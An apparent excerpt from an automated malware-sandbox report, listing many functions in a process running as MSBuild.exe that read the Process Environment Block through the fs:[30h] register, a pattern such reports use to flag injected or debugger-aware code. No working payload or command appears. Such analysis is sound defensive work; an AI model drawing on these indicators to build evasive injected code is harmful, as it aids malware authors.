Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_01A47370 mov eax, dword ptr fs:[00000030h]	10_2_01A47370
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_01A47370 mov eax, dword ptr fs:[00000030h]	10_2_01A47370
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_01A47370 mov eax, dword ptr fs:[00000030h]	10_2_01A47370
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_01B0A352 mov eax, dword ptr fs:[00000030h]	10_2_01B0A352
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_01AC2349 mov eax, dword ptr fs:[00000030h]	10_2_01AC2349
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_01AC2349 mov eax, dword ptr fs:[00000030h]	10_2_01AC2349
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_01AC2349 mov eax, dword ptr fs:[00000030h]	10_2_01AC2349
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_01AC2349 mov eax, dword ptr fs:[00000030h]	10_2_01AC2349
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_01AC2349 mov eax, dword ptr fs:[00000030h]	10_2_01AC2349
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_01AC2349 mov eax, dword ptr fs:[00000030h]	10_2_01AC2349
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_01AC2349 mov eax, dword ptr fs:[00000030h]	10_2_01AC2349
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_01AC2349 mov eax, dword ptr fs:[00000030h]	10_2_01AC2349
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_01AC2349 mov eax, dword ptr fs:[00000030h]	10_2_01AC2349
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_01AC2349 mov eax, dword ptr fs:[00000030h]	10_2_01AC2349
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_01AC2349 mov eax, dword ptr fs:[00000030h]	10_2_01AC2349
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_01AC2349 mov eax, dword ptr fs:[00000030h]	10_2_01AC2349
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_01AC2349 mov eax, dword ptr fs:[00000030h]	10_2_01AC2349
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_01AC2349 mov eax, dword ptr fs:[00000030h]	10_2_01AC2349
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_01AC2349 mov eax, dword ptr fs:[00000030h]	10_2_01AC2349
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_01A3D34C mov eax, dword ptr fs:[00000030h]	10_2_01A3D34C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_01A3D34C mov eax, dword ptr fs:[00000030h]	10_2_01A3D34C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_01B15341 mov eax, dword ptr fs:[00000030h]	10_2_01B15341
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_01A39353 mov eax, dword ptr fs:[00000030h]	10_2_01A39353
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_01A39353 mov eax, dword ptr fs:[00000030h]	10_2_01A39353
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_01AC035C mov eax, dword ptr fs:[00000030h]	10_2_01AC035C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_01AC035C mov eax, dword ptr fs:[00000030h]	10_2_01AC035C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_01AC035C mov eax, dword ptr fs:[00000030h]	10_2_01AC035C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_01AC035C mov ecx, dword ptr fs:[00000030h]	10_2_01AC035C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_01AC035C mov eax, dword ptr fs:[00000030h]	10_2_01AC035C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_01AC035C mov eax, dword ptr fs:[00000030h]	10_2_01AC035C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_01A502A0 mov eax, dword ptr fs:[00000030h]	10_2_01A502A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_01A502A0 mov eax, dword ptr fs:[00000030h]	10_2_01A502A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_01A552A0 mov eax, dword ptr fs:[00000030h]	10_2_01A552A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_01A552A0 mov eax, dword ptr fs:[00000030h]	10_2_01A552A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_01A552A0 mov eax, dword ptr fs:[00000030h]	10_2_01A552A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_01A552A0 mov eax, dword ptr fs:[00000030h]	10_2_01A552A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_01AD62A0 mov eax, dword ptr fs:[00000030h]	10_2_01AD62A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_01AD62A0 mov ecx, dword ptr fs:[00000030h]	10_2_01AD62A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_01AD62A0 mov eax, dword ptr fs:[00000030h]	10_2_01AD62A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_01AD62A0 mov eax, dword ptr fs:[00000030h]	10_2_01AD62A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_01AD62A0 mov eax, dword ptr fs:[00000030h]	10_2_01AD62A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_01AD62A0 mov eax, dword ptr fs:[00000030h]	10_2_01AD62A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_01AD72A0 mov eax, dword ptr fs:[00000030h]	10_2_01AD72A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_01AD72A0 mov eax, dword ptr fs:[00000030h]	10_2_01AD72A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_01AC92BC mov eax, dword ptr fs:[00000030h]	10_2_01AC92BC
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_01AC92BC mov eax, dword ptr fs:[00000030h]	10_2_01AC92BC
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_01AC92BC mov ecx, dword ptr fs:[00000030h]	10_2_01AC92BC
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_01AC92BC mov ecx, dword ptr fs:[00000030h]	10_2_01AC92BC
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_01B092A6 mov eax, dword ptr fs:[00000030h]	10_2_01B092A6
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_01B092A6 mov eax, dword ptr fs:[00000030h]	10_2_01B092A6
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_01B092A6 mov eax, dword ptr fs:[00000030h]	10_2_01B092A6
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_01B092A6 mov eax, dword ptr fs:[00000030h]	10_2_01B092A6
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_01A7E284 mov eax, dword ptr fs:[00000030h]	10_2_01A7E284
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_01A7E284 mov eax, dword ptr fs:[00000030h]	10_2_01A7E284
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_01AC0283 mov eax, dword ptr fs:[00000030h]	10_2_01AC0283
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_01AC0283 mov eax, dword ptr fs:[00000030h]	10_2_01AC0283
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_01AC0283 mov eax, dword ptr fs:[00000030h]	10_2_01AC0283
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_01B15283 mov eax, dword ptr fs:[00000030h]	10_2_01B15283
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_01A7329E mov eax, dword ptr fs:[00000030h]	10_2_01A7329E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_01A7329E mov eax, dword ptr fs:[00000030h]	10_2_01A7329E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_01AF12ED mov eax, dword ptr fs:[00000030h]	10_2_01AF12ED
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_01AF12ED mov eax, dword ptr fs:[00000030h]	10_2_01AF12ED
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_01AF12ED mov eax, dword ptr fs:[00000030h]	10_2_01AF12ED
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_01AF12ED mov eax, dword ptr fs:[00000030h]	10_2_01AF12ED
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_01AF12ED mov eax, dword ptr fs:[00000030h]	10_2_01AF12ED
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_01AF12ED mov eax, dword ptr fs:[00000030h]	10_2_01AF12ED
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_01AF12ED mov eax, dword ptr fs:[00000030h]	10_2_01AF12ED
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_01AF12ED mov eax, dword ptr fs:[00000030h]	10_2_01AF12ED
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_01AF12ED mov eax, dword ptr fs:[00000030h]	10_2_01AF12ED
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_01AF12ED mov eax, dword ptr fs:[00000030h]	10_2_01AF12ED
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_01AF12ED mov eax, dword ptr fs:[00000030h]	10_2_01AF12ED
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_01AF12ED mov eax, dword ptr fs:[00000030h]	10_2_01AF12ED
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_01AF12ED mov eax, dword ptr fs:[00000030h]	10_2_01AF12ED
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_01AF12ED mov eax, dword ptr fs:[00000030h]	10_2_01AF12ED
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_01A502E1 mov eax, dword ptr fs:[00000030h]	10_2_01A502E1
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_01A502E1 mov eax, dword ptr fs:[00000030h]	10_2_01A502E1
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_01A502E1 mov eax, dword ptr fs:[00000030h]	10_2_01A502E1
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_01B152E2 mov eax, dword ptr fs:[00000030h]	10_2_01B152E2
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_01AFF2F8 mov eax, dword ptr fs:[00000030h]	10_2_01AFF2F8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_01A392FF mov eax, dword ptr fs:[00000030h]	10_2_01A392FF
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_01A492C5 mov eax, dword ptr fs:[00000030h]	10_2_01A492C5
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_01A492C5 mov eax, dword ptr fs:[00000030h]	10_2_01A492C5
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_01A6B2C0 mov eax, dword ptr fs:[00000030h]	10_2_01A6B2C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_01A6B2C0 mov eax, dword ptr fs:[00000030h]	10_2_01A6B2C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_01A6B2C0 mov eax, dword ptr fs:[00000030h]	10_2_01A6B2C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_01A6B2C0 mov eax, dword ptr fs:[00000030h]	10_2_01A6B2C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_01A6B2C0 mov eax, dword ptr fs:[00000030h]	10_2_01A6B2C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_01A6B2C0 mov eax, dword ptr fs:[00000030h]	10_2_01A6B2C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_01A6B2C0 mov eax, dword ptr fs:[00000030h]	10_2_01A6B2C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_01A4A2C3 mov eax, dword ptr fs:[00000030h]	10_2_01A4A2C3
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_01A4A2C3 mov eax, dword ptr fs:[00000030h]	10_2_01A4A2C3
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_01A4A2C3 mov eax, dword ptr fs:[00000030h]	10_2_01A4A2C3
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_01A4A2C3 mov eax, dword ptr fs:[00000030h]	10_2_01A4A2C3
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_01A4A2C3 mov eax, dword ptr fs:[00000030h]	10_2_01A4A2C3
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_01A3B2D3 mov eax, dword ptr fs:[00000030h]	10_2_01A3B2D3
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_01A3B2D3 mov eax, dword ptr fs:[00000030h]	10_2_01A3B2D3
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_01A3B2D3 mov eax, dword ptr fs:[00000030h]	10_2_01A3B2D3
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_01A6F2D0 mov eax, dword ptr fs:[00000030h]	10_2_01A6F2D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_01A6F2D0 mov eax, dword ptr fs:[00000030h]	10_2_01A6F2D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_01B15227 mov eax, dword ptr fs:[00000030h]	10_2_01B15227
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_01A3823B mov eax, dword ptr fs:[00000030h]	10_2_01A3823B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_01A77208 mov eax, dword ptr fs:[00000030h]	10_2_01A77208
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_01A77208 mov eax, dword ptr fs:[00000030h]	10_2_01A77208
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_01A44260 mov eax, dword ptr fs:[00000030h]	10_2_01A44260
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_01A44260 mov eax, dword ptr fs:[00000030h]	10_2_01A44260
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_01A44260 mov eax, dword ptr fs:[00000030h]	10_2_01A44260
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_01A3826B mov eax, dword ptr fs:[00000030h]	10_2_01A3826B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_01A69274 mov eax, dword ptr fs:[00000030h]	10_2_01A69274
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_01A81270 mov eax, dword ptr fs:[00000030h]	10_2_01A81270
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_01A81270 mov eax, dword ptr fs:[00000030h]	10_2_01A81270
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_01B0D26B mov eax, dword ptr fs:[00000030h]	10_2_01B0D26B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_01B0D26B mov eax, dword ptr fs:[00000030h]	10_2_01B0D26B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_01AF0274 mov eax, dword ptr fs:[00000030h]	10_2_01AF0274
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_01AF0274 mov eax, dword ptr fs:[00000030h]	10_2_01AF0274
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_01AF0274 mov eax, dword ptr fs:[00000030h]	10_2_01AF0274
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_01AF0274 mov eax, dword ptr fs:[00000030h]	10_2_01AF0274
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_01AF0274 mov eax, dword ptr fs:[00000030h]	10_2_01AF0274
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_01AF0274 mov eax, dword ptr fs:[00000030h]	10_2_01AF0274
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_01AF0274 mov eax, dword ptr fs:[00000030h]	10_2_01AF0274
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_01AF0274 mov eax, dword ptr fs:[00000030h]	10_2_01AF0274
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_01AF0274 mov eax, dword ptr fs:[00000030h]	10_2_01AF0274
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_01AF0274 mov eax, dword ptr fs:[00000030h]	10_2_01AF0274
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_01AF0274 mov eax, dword ptr fs:[00000030h]	10_2_01AF0274
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_01AF0274 mov eax, dword ptr fs:[00000030h]	10_2_01AF0274
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_01A39240 mov eax, dword ptr fs:[00000030h]	10_2_01A39240
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_01A39240 mov eax, dword ptr fs:[00000030h]	10_2_01A39240
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_01A7724D mov eax, dword ptr fs:[00000030h]	10_2_01A7724D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_01A3A250 mov eax, dword ptr fs:[00000030h]	10_2_01A3A250
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_01AFB256 mov eax, dword ptr fs:[00000030h]	10_2_01AFB256
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_01AFB256 mov eax, dword ptr fs:[00000030h]	10_2_01AFB256
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_01A46259 mov eax, dword ptr fs:[00000030h]	10_2_01A46259
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_01AC05A7 mov eax, dword ptr fs:[00000030h]	10_2_01AC05A7
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_01AC05A7 mov eax, dword ptr fs:[00000030h]	10_2_01AC05A7
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_01AC05A7 mov eax, dword ptr fs:[00000030h]	10_2_01AC05A7
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_01A615A9 mov eax, dword ptr fs:[00000030h]	10_2_01A615A9
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_01A615A9 mov eax, dword ptr fs:[00000030h]	10_2_01A615A9
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_01A615A9 mov eax, dword ptr fs:[00000030h]	10_2_01A615A9
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_01A615A9 mov eax, dword ptr fs:[00000030h]	10_2_01A615A9
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_01A615A9 mov eax, dword ptr fs:[00000030h]	10_2_01A615A9
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_01AFF5BE mov eax, dword ptr fs:[00000030h]	10_2_01AFF5BE
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_01A6F5B0 mov eax, dword ptr fs:[00000030h]	10_2_01A6F5B0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_01A6F5B0 mov eax, dword ptr fs:[00000030h]	10_2_01A6F5B0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_01A6F5B0 mov eax, dword ptr fs:[00000030h]	10_2_01A6F5B0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_01A6F5B0 mov eax, dword ptr fs:[00000030h]	10_2_01A6F5B0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_01A6F5B0 mov eax, dword ptr fs:[00000030h]	10_2_01A6F5B0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_01A6F5B0 mov eax, dword ptr fs:[00000030h]	10_2_01A6F5B0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_01A6F5B0 mov eax, dword ptr fs:[00000030h]	10_2_01A6F5B0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_01A6F5B0 mov eax, dword ptr fs:[00000030h]	10_2_01A6F5B0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_01A6F5B0 mov eax, dword ptr fs:[00000030h]	10_2_01A6F5B0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_01A645B1 mov eax, dword ptr fs:[00000030h]	10_2_01A645B1
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_01A645B1 mov eax, dword ptr fs:[00000030h]	10_2_01A645B1
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_01AD35BA mov eax, dword ptr fs:[00000030h]	10_2_01AD35BA
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_01AD35BA mov eax, dword ptr fs:[00000030h]	10_2_01AD35BA
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_01AD35BA mov eax, dword ptr fs:[00000030h]	10_2_01AD35BA
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_01AD35BA mov eax, dword ptr fs:[00000030h]	10_2_01AD35BA
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_01A42582 mov eax, dword ptr fs:[00000030h]	10_2_01A42582
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_01A42582 mov ecx, dword ptr fs:[00000030h]	10_2_01A42582
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_01A3758F mov eax, dword ptr fs:[00000030h]	10_2_01A3758F
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_01A3758F mov eax, dword ptr fs:[00000030h]	10_2_01A3758F
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_01A3758F mov eax, dword ptr fs:[00000030h]	10_2_01A3758F
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_01A74588 mov eax, dword ptr fs:[00000030h]	10_2_01A74588
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_01ACB594 mov eax, dword ptr fs:[00000030h]	10_2_01ACB594
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_01ACB594 mov eax, dword ptr fs:[00000030h]	10_2_01ACB594
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_01A7E59C mov eax, dword ptr fs:[00000030h]	10_2_01A7E59C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_01A6E5E7 mov eax, dword ptr fs:[00000030h]	10_2_01A6E5E7
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_01A6E5E7 mov eax, dword ptr fs:[00000030h]	10_2_01A6E5E7
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_01A6E5E7 mov eax, dword ptr fs:[00000030h]	10_2_01A6E5E7
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_01A6E5E7 mov eax, dword ptr fs:[00000030h]	10_2_01A6E5E7
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_01A6E5E7 mov eax, dword ptr fs:[00000030h]	10_2_01A6E5E7
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_01A6E5E7 mov eax, dword ptr fs:[00000030h]	10_2_01A6E5E7
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_01A6E5E7 mov eax, dword ptr fs:[00000030h]	10_2_01A6E5E7
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_01A6E5E7 mov eax, dword ptr fs:[00000030h]	10_2_01A6E5E7
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_01A425E0 mov eax, dword ptr fs:[00000030h]	10_2_01A425E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_01A7C5ED mov eax, dword ptr fs:[00000030h]	10_2_01A7C5ED
